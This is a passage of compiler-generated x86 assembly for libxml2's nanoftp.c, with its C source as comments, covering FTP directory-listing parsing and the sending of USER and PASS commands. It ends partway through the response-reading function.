??_C@_09HOAIGJJF@SITE?5?$CFs?$AN?6@ DB 'SITE %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@NKBHOJOC@Failed?5to?5create?5a?5connection@
CONST SEGMENT
??_C@_0BO@NKBHOJOC@Failed?5to?5create?5a?5connection@ DB 'Failed to creat'
DB 'e a connection', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0O@FPJGNADN@socket?5failed@
CONST SEGMENT
??_C@_0O@FPJGNADN@socket?5failed@ DB 'socket failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BP@HGBHAFPD@gethostbyname?5address?5mismatch@
CONST SEGMENT
??_C@_0BP@HGBHAFPD@gethostbyname?5address?5mismatch@ DB 'gethostbyname ad'
DB 'dress mismatch', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BF@FEIPFPME@gethostbyname?5failed@
CONST SEGMENT
??_C@_0BF@FEIPFPME@gethostbyname?5failed@ DB 'gethostbyname failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06FIMJICNC@QUIT?$AN?6@
CONST SEGMENT
??_C@_06FIMJICNC@QUIT?$AN?6@ DB 'QUIT', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@ DB 'PASS %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@
CONST SEGMENT
??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@ DB 'PASS anonymous@', 0dH, 0aH
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@EADLIJBM@send?5failed@
CONST SEGMENT
??_C@_0M@EADLIJBM@send?5failed@ DB 'send failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@
CONST SEGMENT
??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@ DB 'USER %s', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BB@PKBEHKHF@USER?5anonymous?$AN?6@
CONST SEGMENT
??_C@_0BB@PKBEHKHF@USER?5anonymous?$AN?6@ DB 'USER anonymous', 0dH, 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06LGNCCACI@select@
CONST SEGMENT
??_C@_06LGNCCACI@select@ DB 'select', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@KMFGCEDE@recv?5failed@
CONST SEGMENT
??_C@_0M@KMFGCEDE@recv?5failed@ DB 'recv failed', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BH@FLMMHHFH@allocating?5FTP?5context@
CONST SEGMENT
??_C@_0BH@FLMMHHFH@allocating?5FTP?5context@ DB 'allocating FTP context', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0O@FGOLBKPK@Syntax?5Error?6@
CONST SEGMENT
??_C@_0O@FGOLBKPK@Syntax?5Error?6@ DB 'Syntax Error', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03LMDBDBEG@ftp@
CONST SEGMENT
??_C@_03LMDBDBEG@ftp@ DB 'ftp', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01KMDKNFGN@?1@
CONST SEGMENT
??_C@_01KMDKNFGN@?1@ DB '/', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BD@DKAPHOHE@ftp_proxy_password@
CONST SEGMENT
??_C@_0BD@DKAPHOHE@ftp_proxy_password@ DB 'ftp_proxy_password', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0P@CAEEHGAA@ftp_proxy_user@
CONST SEGMENT
??_C@_0P@CAEEHGAA@ftp_proxy_user@ DB 'ftp_proxy_user', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09KECINPKO@FTP_PROXY@
CONST SEGMENT
??_C@_09KECINPKO@FTP_PROXY@ DB 'FTP_PROXY', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09FLGENLMF@ftp_proxy@
CONST SEGMENT
??_C@_09FLGENLMF@ftp_proxy@ DB 'ftp_proxy', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08BOGLDIEC@no_proxy@
CONST SEGMENT
??_C@_08BOGLDIEC@no_proxy@ DB 'no_proxy', 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPParseList
_TEXT SEGMENT
_filename$ = -208 ; size = 151
_attrib$ = -56 ; size = 11
_owner$ = -44 ; size = 11
_group$ = -32 ; size = 11
_size$1$ = -20 ; size = 4
_links$1$ = -16 ; size = 4
_month$ = -12 ; size = 4
_day$1$ = -8 ; size = 4
_hour$1$ = -4 ; size = 4
_minute$1$ = 8 ; size = 4
_list$ = 8 ; size = 4
_callback$ = 12 ; size = 4
_userData$ = 16 ; size = 4
_xmlNanoFTPParseList PROC ; COMDAT
; 1598 : xmlNanoFTPParseList(const char *list, ftpListCallback callback, void *userData) {
push ebp
mov ebp, esp
sub esp, 208 ; 000000d0H
push ebx
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _list$[ebp]
xor ebx, ebx
push 5
push OFFSET ??_C@_05KBOMEDGA@total@
push edi
mov esi, edi
mov DWORD PTR _minute$1$[ebp], ebx
mov DWORD PTR _hour$1$[ebp], ebx
mov DWORD PTR _day$1$[ebp], ebx
mov DWORD PTR _size$1$[ebp], ebx
mov DWORD PTR _links$1$[ebp], ebx
call DWORD PTR __imp__strncmp
add esp, 12 ; 0000000cH
test eax, eax
jne SHORT $LN50@xmlNanoFTP
; 1599 : const char *cur = list;
; 1600 : char filename[151];
; 1601 : char attrib[11];
; 1602 : char owner[11];
; 1603 : char group[11];
; 1604 : char month[4];
; 1605 : int year = 0;
; 1606 : int minute = 0;
; 1607 : int hour = 0;
; 1608 : int day = 0;
; 1609 : unsigned long size = 0;
; 1610 : int links = 0;
; 1611 : int i;
; 1612 :
; 1613 : if (!strncmp(cur, "total", 5)) {
; 1614 : cur += 5;
mov cl, BYTE PTR [edi+5]
lea eax, DWORD PTR [edi+5]
; 1615 : while (*cur == ' ') cur++;
cmp cl, 32 ; 00000020H
jne SHORT $LN87@xmlNanoFTP
npad 4
$LL2@xmlNanoFTP:
mov cl, BYTE PTR [eax+1]
inc eax
cmp cl, 32 ; 00000020H
je SHORT $LL2@xmlNanoFTP
$LN87@xmlNanoFTP:
; 1616 : while ((*cur >= '0') && (*cur <= '9'))
cmp cl, 48 ; 00000030H
jl SHORT $LL6@xmlNanoFTP
npad 2
$LL4@xmlNanoFTP:
cmp cl, 57 ; 00000039H
jg SHORT $LL6@xmlNanoFTP
mov cl, BYTE PTR [eax+1]
; 1617 : links = (links * 10) + (*cur++ - '0');
inc eax
cmp cl, 48 ; 00000030H
jge SHORT $LL4@xmlNanoFTP
npad 2
$LL6@xmlNanoFTP:
; 1618 : while ((*cur == ' ') || (*cur == '\n') || (*cur == '\r'))
mov cl, BYTE PTR [eax]
cmp cl, 32 ; 00000020H
je SHORT $LN52@xmlNanoFTP
cmp cl, 10 ; 0000000aH
je SHORT $LN52@xmlNanoFTP
cmp cl, 13 ; 0000000dH
jne SHORT $LN7@xmlNanoFTP
$LN52@xmlNanoFTP:
; 1619 : cur++;
inc eax
jmp SHORT $LL6@xmlNanoFTP
$LN7@xmlNanoFTP:
; 1620 : return(cur - list);
sub eax, edi
pop edi
; 1710 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN50@xmlNanoFTP:
; 1621 : } else if (*list == '+') {
mov al, BYTE PTR [edi]
cmp al, 43 ; 0000002bH
je $LN73@xmlNanoFTP
$LL8@xmlNanoFTP:
; 1622 : return(0);
; 1623 : } else {
; 1624 : while ((*cur == ' ') || (*cur == '\n') || (*cur == '\r'))
cmp al, 32 ; 00000020H
je SHORT $LN55@xmlNanoFTP
cmp al, 10 ; 0000000aH
je SHORT $LN55@xmlNanoFTP
cmp al, 13 ; 0000000dH
jne SHORT $LN9@xmlNanoFTP
$LN55@xmlNanoFTP:
; 1625 : cur++;
mov al, BYTE PTR [esi+1]
inc esi
jmp SHORT $LL8@xmlNanoFTP
$LN9@xmlNanoFTP:
; 1626 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1627 : i = 0;
xor ecx, ecx
$LL10@xmlNanoFTP:
; 1629 : if (i < 10)
cmp ecx, 10 ; 0000000aH
jge SHORT $LN57@xmlNanoFTP
; 1630 : attrib[i++] = *cur;
mov al, BYTE PTR [esi]
mov BYTE PTR _attrib$[ebp+ecx], al
inc ecx
$LN57@xmlNanoFTP:
; 1631 : cur++;
; 1632 : if (*cur == 0) return(0);
mov al, BYTE PTR [esi+1]
inc esi
test al, al
je $LN73@xmlNanoFTP
; 1628 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
jne SHORT $LL10@xmlNanoFTP
; 1633 : }
; 1634 : attrib[10] = 0;
mov BYTE PTR _attrib$[ebp+10], bl
$LL12@xmlNanoFTP:
; 1635 : while (*cur == ' ') cur++;
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL12@xmlNanoFTP
; 1636 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1637 : while ((*cur >= '0') && (*cur <= '9'))
cmp al, 48 ; 00000030H
jl SHORT $LN93@xmlNanoFTP
mov dl, al
xor ecx, ecx
npad 6
$LL14@xmlNanoFTP:
mov al, dl
cmp dl, 57 ; 00000039H
jg SHORT $LN402@xmlNanoFTP
; 1638 : links = (links * 10) + (*cur++ - '0');
movsx eax, dl
lea ecx, DWORD PTR [ecx+ecx*4]
inc esi
lea ecx, DWORD PTR [ecx-24]
lea ecx, DWORD PTR [eax+ecx*2]
mov al, BYTE PTR [esi]
mov dl, al
cmp al, 48 ; 00000030H
jge SHORT $LL14@xmlNanoFTP
$LN402@xmlNanoFTP:
mov DWORD PTR _links$1$[ebp], ecx
$LN93@xmlNanoFTP:
; 1639 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN17@xmlNanoFTP
$LL16@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL16@xmlNanoFTP
$LN17@xmlNanoFTP:
; 1640 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1641 : i = 0;
xor ecx, ecx
; 1642 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
je SHORT $LN19@xmlNanoFTP
mov al, BYTE PTR [esi]
npad 5
$LL18@xmlNanoFTP:
; 1643 : if (i < 10)
cmp ecx, 10 ; 0000000aH
jge SHORT $LN61@xmlNanoFTP
; 1644 : owner[i++] = *cur;
mov BYTE PTR _owner$[ebp+ecx], al
inc ecx
$LN61@xmlNanoFTP:
; 1645 : cur++;
; 1646 : if (*cur == 0) return(0);
mov al, BYTE PTR [esi+1]
inc esi
test al, al
je $LN73@xmlNanoFTP
; 1642 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
jne SHORT $LL18@xmlNanoFTP
$LN19@xmlNanoFTP:
; 1647 : }
; 1648 : owner[i] = 0;
mov BYTE PTR _owner$[ebp+ecx], bl
; 1649 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN21@xmlNanoFTP
$LL20@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL20@xmlNanoFTP
$LN21@xmlNanoFTP:
; 1650 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1651 : i = 0;
xor ecx, ecx
; 1652 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
je SHORT $LN23@xmlNanoFTP
mov al, BYTE PTR [esi]
npad 6
$LL22@xmlNanoFTP:
; 1653 : if (i < 10)
cmp ecx, 10 ; 0000000aH
jge SHORT $LN64@xmlNanoFTP
; 1654 : group[i++] = *cur;
mov BYTE PTR _group$[ebp+ecx], al
inc ecx
$LN64@xmlNanoFTP:
; 1655 : cur++;
; 1656 : if (*cur == 0) return(0);
mov al, BYTE PTR [esi+1]
inc esi
test al, al
je $LN73@xmlNanoFTP
; 1652 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
jne SHORT $LL22@xmlNanoFTP
$LN23@xmlNanoFTP:
; 1657 : }
; 1658 : group[i] = 0;
mov BYTE PTR _group$[ebp+ecx], bl
; 1659 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN25@xmlNanoFTP
$LL24@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL24@xmlNanoFTP
$LN25@xmlNanoFTP:
; 1660 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1661 : while ((*cur >= '0') && (*cur <= '9'))
cmp al, 48 ; 00000030H
jl SHORT $LN99@xmlNanoFTP
mov dl, al
xor ecx, ecx
npad 6
$LL26@xmlNanoFTP:
mov al, dl
cmp dl, 57 ; 00000039H
jg SHORT $LN403@xmlNanoFTP
; 1662 : size = (size * 10) + (*cur++ - '0');
movsx eax, dl
lea ecx, DWORD PTR [ecx+ecx*4]
inc esi
lea ecx, DWORD PTR [ecx-24]
lea ecx, DWORD PTR [eax+ecx*2]
mov al, BYTE PTR [esi]
mov dl, al
cmp al, 48 ; 00000030H
jge SHORT $LL26@xmlNanoFTP
$LN403@xmlNanoFTP:
mov DWORD PTR _size$1$[ebp], ecx
$LN99@xmlNanoFTP:
; 1663 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN29@xmlNanoFTP
$LL28@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL28@xmlNanoFTP
$LN29@xmlNanoFTP:
; 1664 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1665 : i = 0;
xor ecx, ecx
; 1666 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
je SHORT $LN31@xmlNanoFTP
mov al, BYTE PTR [esi]
npad 5
$LL30@xmlNanoFTP:
; 1667 : if (i < 3)
cmp ecx, 3
jge SHORT $LN68@xmlNanoFTP
; 1668 : month[i++] = *cur;
mov BYTE PTR _month$[ebp+ecx], al
inc ecx
$LN68@xmlNanoFTP:
; 1669 : cur++;
; 1670 : if (*cur == 0) return(0);
mov al, BYTE PTR [esi+1]
inc esi
test al, al
je $LN73@xmlNanoFTP
; 1666 : while (*cur != ' ') {
cmp al, 32 ; 00000020H
jne SHORT $LL30@xmlNanoFTP
$LN31@xmlNanoFTP:
; 1671 : }
; 1672 : month[i] = 0;
mov BYTE PTR _month$[ebp+ecx], bl
; 1673 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN33@xmlNanoFTP
$LL32@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL32@xmlNanoFTP
$LN33@xmlNanoFTP:
; 1674 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1675 : while ((*cur >= '0') && (*cur <= '9'))
cmp al, 48 ; 00000030H
jl SHORT $LN103@xmlNanoFTP
mov dl, al
xor ecx, ecx
npad 6
$LL34@xmlNanoFTP:
mov al, dl
cmp dl, 57 ; 00000039H
jg SHORT $LN404@xmlNanoFTP
; 1676 : day = (day * 10) + (*cur++ - '0');
movsx eax, dl
lea ecx, DWORD PTR [ecx+ecx*4]
inc esi
lea ecx, DWORD PTR [ecx-24]
lea ecx, DWORD PTR [eax+ecx*2]
mov al, BYTE PTR [esi]
mov dl, al
cmp al, 48 ; 00000030H
jge SHORT $LL34@xmlNanoFTP
$LN404@xmlNanoFTP:
mov DWORD PTR _day$1$[ebp], ecx
$LN103@xmlNanoFTP:
; 1677 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN37@xmlNanoFTP
$LL36@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL36@xmlNanoFTP
$LN37@xmlNanoFTP:
; 1678 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1679 : if ((cur[1] == 0) || (cur[2] == 0)) return(0);
mov cl, BYTE PTR [esi+1]
test cl, cl
je $LN73@xmlNanoFTP
mov dl, BYTE PTR [esi+2]
test dl, dl
je $LN73@xmlNanoFTP
; 1680 : if ((cur[1] == ':') || (cur[2] == ':')) {
cmp cl, 58 ; 0000003aH
je SHORT $LN105@xmlNanoFTP
cmp dl, 58 ; 0000003aH
je SHORT $LN105@xmlNanoFTP
; 1686 : } else {
; 1687 : while ((*cur >= '0') && (*cur <= '9'))
cmp al, 48 ; 00000030H
jl $LN41@xmlNanoFTP
npad 5
$LL42@xmlNanoFTP:
cmp al, 57 ; 00000039H
jg SHORT $LN41@xmlNanoFTP
; 1688 : year = (year * 10) + (*cur++ - '0');
movsx eax, al
lea ebx, DWORD PTR [ebx+ebx*4]
inc esi
lea ebx, DWORD PTR [ebx-24]
lea ebx, DWORD PTR [eax+ebx*2]
mov al, BYTE PTR [esi]
cmp al, 48 ; 00000030H
jge SHORT $LL42@xmlNanoFTP
; 1696 : cur++;
; 1697 : if (*cur == 0) return(0);
jmp SHORT $LN41@xmlNanoFTP
$LN105@xmlNanoFTP:
; 1681 : while ((*cur >= '0') && (*cur <= '9'))
mov cl, al
cmp al, 48 ; 00000030H
jl SHORT $LN39@xmlNanoFTP
xor edx, edx
$LL38@xmlNanoFTP:
mov cl, al
cmp al, 57 ; 00000039H
jg SHORT $LN405@xmlNanoFTP
; 1682 : hour = (hour * 10) + (*cur++ - '0');
inc esi
movsx eax, al
lea ecx, DWORD PTR [edx+edx*4]
lea edx, DWORD PTR [ecx-24]
mov cl, BYTE PTR [esi]
lea edx, DWORD PTR [eax+edx*2]
mov al, cl
cmp cl, 48 ; 00000030H
jge SHORT $LL38@xmlNanoFTP
$LN405@xmlNanoFTP:
mov DWORD PTR _hour$1$[ebp], edx
$LN39@xmlNanoFTP:
; 1683 : if (*cur == ':') cur++;
mov edx, esi
mov al, cl
cmp cl, 58 ; 0000003aH
jne SHORT $LN106@xmlNanoFTP
mov al, BYTE PTR [esi+1]
$LN106@xmlNanoFTP:
; 1684 : while ((*cur >= '0') && (*cur <= '9'))
inc esi
cmp cl, 58 ; 0000003aH
cmovne esi, edx
cmp al, 48 ; 00000030H
jl SHORT $LN41@xmlNanoFTP
mov dl, al
xor ecx, ecx
npad 5
$LL40@xmlNanoFTP:
mov al, dl
cmp dl, 57 ; 00000039H
jg SHORT $LN406@xmlNanoFTP
; 1685 : minute = (minute * 10) + (*cur++ - '0');
movsx eax, dl
lea ecx, DWORD PTR [ecx+ecx*4]
inc esi
lea ecx, DWORD PTR [ecx-24]
lea ecx, DWORD PTR [eax+ecx*2]
mov al, BYTE PTR [esi]
mov dl, al
cmp al, 48 ; 00000030H
jge SHORT $LL40@xmlNanoFTP
$LN406@xmlNanoFTP:
mov DWORD PTR _minute$1$[ebp], ecx
$LN41@xmlNanoFTP:
; 1689 : }
; 1690 : while (*cur == ' ') cur++;
cmp al, 32 ; 00000020H
jne SHORT $LN45@xmlNanoFTP
$LL44@xmlNanoFTP:
mov al, BYTE PTR [esi+1]
inc esi
cmp al, 32 ; 00000020H
je SHORT $LL44@xmlNanoFTP
$LN45@xmlNanoFTP:
; 1691 : if (*cur == 0) return(0);
test al, al
je $LN73@xmlNanoFTP
; 1692 : i = 0;
xor ecx, ecx
; 1693 : while ((*cur != '\n') && (*cur != '\r')) {
cmp al, 10 ; 0000000aH
je SHORT $LN47@xmlNanoFTP
npad 7
$LL46@xmlNanoFTP:
cmp al, 13 ; 0000000dH
je SHORT $LN47@xmlNanoFTP
; 1694 : if (i < 150)
cmp ecx, 150 ; 00000096H
jge SHORT $LN221@xmlNanoFTP
; 1695 : filename[i++] = *cur;
mov BYTE PTR _filename$[ebp+ecx], al
inc ecx
$LN221@xmlNanoFTP:
; 1696 : cur++;
; 1697 : if (*cur == 0) return(0);
mov al, BYTE PTR [esi+1]
inc esi
test al, al
je SHORT $LN73@xmlNanoFTP
; 1693 : while ((*cur != '\n') && (*cur != '\r')) {
cmp al, 10 ; 0000000aH
jne SHORT $LL46@xmlNanoFTP
$LN47@xmlNanoFTP:
; 1698 : }
; 1699 : filename[i] = 0;
mov BYTE PTR _filename$[ebp+ecx], 0
; 1700 : if ((*cur != '\n') && (*cur != '\r'))
cmp al, 10 ; 0000000aH
je SHORT $LN222@xmlNanoFTP
cmp al, 13 ; 0000000dH
jne SHORT $LN73@xmlNanoFTP
$LL48@xmlNanoFTP:
; 1701 : return(0);
; 1702 : while ((*cur == '\n') || (*cur == '\r'))
cmp al, 10 ; 0000000aH
je SHORT $LN222@xmlNanoFTP
cmp al, 13 ; 0000000dH
jne SHORT $LN49@xmlNanoFTP
$LN222@xmlNanoFTP:
; 1703 : cur++;
mov al, BYTE PTR [esi+1]
inc esi
jmp SHORT $LL48@xmlNanoFTP
$LN49@xmlNanoFTP:
; 1704 : }
; 1705 : if (callback != NULL) {
mov eax, DWORD PTR _callback$[ebp]
test eax, eax
je SHORT $LN83@xmlNanoFTP
; 1706 : callback(userData, filename, attrib, owner, group, size, links,
push DWORD PTR _minute$1$[ebp]
lea ecx, DWORD PTR _month$[ebp]
push DWORD PTR _hour$1$[ebp]
push DWORD PTR _day$1$[ebp]
push ecx
push ebx
push DWORD PTR _links$1$[ebp]
lea ecx, DWORD PTR _group$[ebp]
push DWORD PTR _size$1$[ebp]
push ecx
lea ecx, DWORD PTR _owner$[ebp]
push ecx
lea ecx, DWORD PTR _attrib$[ebp]
push ecx
lea ecx, DWORD PTR _filename$[ebp]
push ecx
push DWORD PTR _userData$[ebp]
call eax
add esp, 48 ; 00000030H
$LN83@xmlNanoFTP:
; 1707 : year, month, day, hour, minute);
; 1708 : }
; 1709 : return(cur - list);
sub esi, edi
pop edi
mov eax, esi
; 1710 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN73@xmlNanoFTP:
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPParseList ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPSendPasswd
_TEXT SEGMENT
_buf$ = -200 ; size = 200
_ctx$ = 8 ; size = 4
_xmlNanoFTPSendPasswd PROC ; COMDAT
; 785 : xmlNanoFTPSendPasswd(void *ctx) {
push ebp
mov ebp, esp
sub esp, 200 ; 000000c8H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
mov eax, DWORD PTR [esi+20]
test eax, eax
jne SHORT $LN2@xmlNanoFTP
; 786 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 787 : char buf[200];
; 788 : int len;
; 789 : int res;
; 790 :
; 791 : if (ctxt->passwd == NULL)
; 792 : snprintf(buf, sizeof(buf), "PASS anonymous@\r\n");
push OFFSET ??_C@_0BC@JNJBALOJ@PASS?5anonymous?$EA?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp SHORT $LN3@xmlNanoFTP
$LN2@xmlNanoFTP:
; 793 : else
; 794 : snprintf(buf, sizeof(buf), "PASS %s\r\n", ctxt->passwd);
push eax
push OFFSET ??_C@_09CACMNAGD@PASS?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN3@xmlNanoFTP:
; 795 : buf[sizeof(buf) - 1] = 0;
; 796 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+199], 0
lea edx, DWORD PTR [ecx+1]
$LL6@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL6@xmlNanoFTP
; 797 : #ifdef DEBUG_FTP
; 798 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 799 : #endif
; 800 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
mov esi, eax
; 801 : if (res < 0) {
test esi, esi
jns SHORT $LN4@xmlNanoFTP
; 802 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 803 : return(res);
mov eax, esi
pop esi
; 806 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNanoFTP:
; 804 : }
; 805 : return(0);
xor eax, eax
pop esi
; 806 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPSendPasswd ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPSendUser
_TEXT SEGMENT
_buf$ = -200 ; size = 200
_ctx$ = 8 ; size = 4
_xmlNanoFTPSendUser PROC ; COMDAT
; 757 : xmlNanoFTPSendUser(void *ctx) {
push ebp
mov ebp, esp
sub esp, 200 ; 000000c8H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
mov eax, DWORD PTR [esi+16]
test eax, eax
jne SHORT $LN2@xmlNanoFTP
; 758 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 759 : char buf[200];
; 760 : int len;
; 761 : int res;
; 762 :
; 763 : if (ctxt->user == NULL)
; 764 : snprintf(buf, sizeof(buf), "USER anonymous\r\n");
push OFFSET ??_C@_0BB@PKBEHKHF@USER?5anonymous?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 12 ; 0000000cH
jmp SHORT $LN3@xmlNanoFTP
$LN2@xmlNanoFTP:
; 765 : else
; 766 : snprintf(buf, sizeof(buf), "USER %s\r\n", ctxt->user);
push eax
push OFFSET ??_C@_09FIJAECMI@USER?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
add esp, 16 ; 00000010H
$LN3@xmlNanoFTP:
; 767 : buf[sizeof(buf) - 1] = 0;
; 768 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+199], 0
lea edx, DWORD PTR [ecx+1]
$LL6@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL6@xmlNanoFTP
; 769 : #ifdef DEBUG_FTP
; 770 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 771 : #endif
; 772 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
mov esi, eax
; 773 : if (res < 0) {
test esi, esi
jns SHORT $LN4@xmlNanoFTP
; 774 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 775 : return(res);
mov eax, esi
pop esi
; 778 : }
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNanoFTP:
; 776 : }
; 777 : return(0);
xor eax, eax
pop esi
; 778 : }
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPSendUser ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPReadResponse
_TEXT SEGMENT
_res$1$ = -8 ; size = 4
$T1 = -4 ; size = 4
_ctx$ = 8 ; size = 4
_xmlNanoFTPReadResponse PROC ; COMDAT
; 640 : xmlNanoFTPReadResponse(void *ctx) {
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _ctx$[ebp]
mov DWORD PTR _res$1$[ebp], -1
test ebx, ebx
je $LN9@xmlNanoFTP
; 641 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 642 : char *ptr, *end;
; 643 : int len;
; 644 : int res = -1, cur = -1;
; 645 :
; 646 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [ebx+44], -1
je $LN9@xmlNanoFTP
npad 1
$get_more$71:
; 565 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
